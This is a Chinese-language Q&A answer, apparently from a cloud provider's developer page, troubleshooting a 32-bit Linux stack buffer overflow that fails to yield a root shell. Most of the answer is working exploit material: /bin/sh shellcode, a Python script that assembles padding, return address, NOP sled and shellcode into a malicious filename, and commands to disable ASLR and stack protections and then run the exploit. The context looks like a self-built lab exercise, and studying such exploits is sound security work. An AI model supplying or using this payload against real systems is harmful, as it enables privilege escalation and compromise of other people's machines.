You need to enable JavaScript to run this app.
最新活动
大模型
产品
解决方案
定价
生态与合作
支持与服务
开发者
了解我们

缓冲区溢出漏洞利用:构造Payload后无法获取Root Shell求助

缓冲区溢出漏洞利用:构造Payload后无法获取Root Shell求助

看起来你已经走对了不少关键步骤——定位溢出点、确定栈地址、准备shellcode,但就是差最后一步拿到root shell对吧?我来帮你排查几个最容易踩的坑,一步步解决问题:


1. 先确认最基础的权限问题:目标程序有没有SUID权限?

这是新手最容易忽略的点:如果你要溢出的程序本身不是root所有且设置了SUID位,那就算溢出成功,shellcode执行的也是当前普通用户的权限,自然拿不到root shell。

你可以先检查程序权限:

ls -l <你的目标程序名>

如果权限列不是类似-rwsr-xr-x(注意开头的s),且所有者不是root,那先给程序加SUID:

sudo chown root:root <目标程序名>
sudo chmod u+s <目标程序名>

2. Payload的顺序完全搞反了!

你现在的payload是shellcode + ret_addr + "\x90"*12,这是核心错误!正确的溢出payload结构应该是:

[填充字节(覆盖缓冲区+EBP)] + [返回地址(指向栈上的shellcode/NOP雪橇)] + [NOP雪橇] + [shellcode]

你的逻辑是:用填充字节覆盖到函数的返回地址位置,把返回地址改成栈上的某个位置(比如ESP指向的栈空间),然后程序跳转到这个地址后,通过NOP雪橇滑到shellcode执行。

按照你找到的padding(AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII,共36字节),修正后的payload应该是这样:

import struct

# 32位Linux无NULL字节的root shellcode
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
    "\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
)

# 填充到返回地址的位置:对应你找到的36字节padding
padding = "\x90" * 36

# 返回地址:指向栈上NOP雪橇的位置(比如你之前的ESP地址0xbfffef40)
ret_addr = struct.pack("I", 0xbfffef40)

# NOP雪橇:增加容错率,就算返回地址有小偏移也能滑到shellcode
nop_sled = "\x90" * 100

# 正确的payload结构
payload = padding + ret_addr + nop_sled + shellcode

# 生成恶意文件名
filename = "exploit." + payload
print(filename)

3. 返回地址的偏移和栈布局问题

gdb的运行环境和直接运行程序的环境(比如环境变量、命令行参数)不一样,会导致栈地址偏移变化——你在gdb里拿到的ESP地址0xbfffef40,直接运行程序时可能会变。

解决办法:

  • 用更长的NOP雪橇(比如100个\x90),就算返回地址有±10字节的偏差,也能滑到shellcode里;
  • 关闭系统的ASLR(地址空间随机化),让栈地址固定:
    sudo sysctl -w kernel.randomize_va_space=0
    

4. 目标程序的编译参数是否正确?

如果目标程序开启了栈保护(Stack Canary)或者DEP(数据执行保护),shellcode根本跑不起来。编译目标程序时必须关闭这些保护:

# 32位编译 + 关闭栈保护 + 开启栈可执行
gcc -m32 -z execstack -fno-stack-protector -o target target.c

5. 最后再验证shellcode的兼容性

你用的是32位Linux shellcode,这部分没问题,但要确认:

  • shellcode里没有NULL字节(你的这段shellcode是干净的,没有\x00,不会被strcpy截断);
  • 目标系统是32位Linux,或者你在64位系统上兼容运行32位程序(需要安装lib32gcc1等依赖)。

最后一步:测试payload

修正完以上所有点后,直接在终端运行目标程序(不要在gdb里,因为gdb会改变栈布局),传入你生成的恶意文件名:

./target exploit.$(python your_exploit_script.py)

或者如果程序是读取目录下的文件名,就把生成的文件名放到程序会扫描的目录里,触发漏洞。

如果还是不行,你可以用gdb再调试一次,看程序跳转到返回地址后,栈上的内容是不是你预期的NOP雪橇+shellcode,一步步定位问题。

火山引擎 最新活动